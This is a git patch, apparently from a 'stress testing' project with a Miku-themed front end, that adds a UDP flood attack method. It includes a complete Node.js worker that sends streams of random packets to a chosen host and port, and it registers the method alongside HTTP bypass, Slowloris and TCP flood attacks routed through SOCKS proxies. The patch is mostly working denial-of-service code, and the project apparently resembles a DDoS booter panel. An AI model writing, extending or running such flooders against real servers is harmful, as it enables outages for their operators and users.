From bcfd3120b86d4083ce582f576ab478e90cc239b3 Mon Sep 17 00:00:00 2001 From: urb4n3 Date: Wed, 26 Feb 2025 08:38:04 +0100 Subject: [PATCH] =?UTF-8?q?feature:=20=F0=9F=9A=80=20added=20UDP=20flood?= =?UTF-8?q?=20attack=20method?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 1 + server/index.ts | 1 + server/lib.ts | 1 + server/proxyUtils.ts | 1 + server/workers/udpFloodAttack.js | 48 ++++++++++++++++++++++++++++++++ src/App.tsx | 1 + 6 files changed, 53 insertions(+) create mode 100644 server/workers/udpFloodAttack.js diff --git a/README.md b/README.md index 48ac733..531b21d 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte - `HTTP Slowloris` - Send HTTP requests and keep the connection open - `Minecraft Ping` - Send Minecraft ping/motd requests - `TCP Flood` - Send random TCP packets + - `UDP Flood` - Send random UDP packets ## Setup 🛠️ diff --git a/server/index.ts b/server/index.ts index c4ac246..a2fe988 100644 --- a/server/index.ts +++ b/server/index.ts @@ -17,6 +17,7 @@ const attackWorkers: { [key in AttackMethod]: string } = { http_bypass: "./workers/httpBypassAttack.js", http_slowloris: "./workers/httpSlowlorisAttack.js", tcp_flood: "./workers/tcpFloodAttack.js", + udp_flood: "./workers/udpFloodAttack.js", minecraft_ping: "./workers/minecraftPingAttack.js", }; diff --git a/server/lib.ts b/server/lib.ts index 9b40e26..c568f5f 100644 --- a/server/lib.ts +++ b/server/lib.ts @@ -13,4 +13,5 @@ export type AttackMethod = | "http_bypass" | "http_slowloris" | "tcp_flood" + | "udp_flood" | "minecraft_ping"; diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts index 75bbbd4..44af12f 100644 --- a/server/proxyUtils.ts +++ b/server/proxyUtils.ts @@ -17,6 +17,7 @@ const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = { http_bypass: ["http", "https", "socks4", "socks5"], http_slowloris: ["socks4", "socks5"], tcp_flood: ["socks4", "socks5"], + udp_flood: ["socks4", "socks5"], minecraft_ping: ["socks4", "socks5"], }; diff --git a/server/workers/udpFloodAttack.js b/server/workers/udpFloodAttack.js new file mode 100644 index 0000000..f73fd14 --- /dev/null +++ b/server/workers/udpFloodAttack.js @@ -0,0 +1,48 @@ +import { parentPort, workerData } from "worker_threads"; +import dgram from "dgram"; +import { randomString } from "../utils/randomUtils.js"; + +const startAttack = () => { + const { target, duration, packetDelay, packetSize } = workerData; + + const [targetHost, targetPort] = target.split(":"); + const port = parseInt(targetPort, 10); + + if (isNaN(port)) throw new Error("Invalid port: Should be a number"); + if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535"); + + const socket = dgram.createSocket("udp4"); + let totalPackets = 0; + const startTime = Date.now(); + + const sendPacket = () => { + const elapsedTime = (Date.now() - startTime) / 1000; + if (elapsedTime >= duration) { + socket.close(); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const message = randomString(packetSize); + socket.send(message, port, targetHost, (err) => { + if (err) { + parentPort.postMessage({ + log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`, + totalPackets, + }); + } else { + totalPackets++; + parentPort.postMessage({ + log: `✅ Packet sent to ${targetHost}:${port}`, + totalPackets, + }); + } + }); + }; + + setInterval(sendPacket, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/src/App.tsx b/src/App.tsx index 26e776d..55168b8 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -390,6 +390,7 @@ function App() { +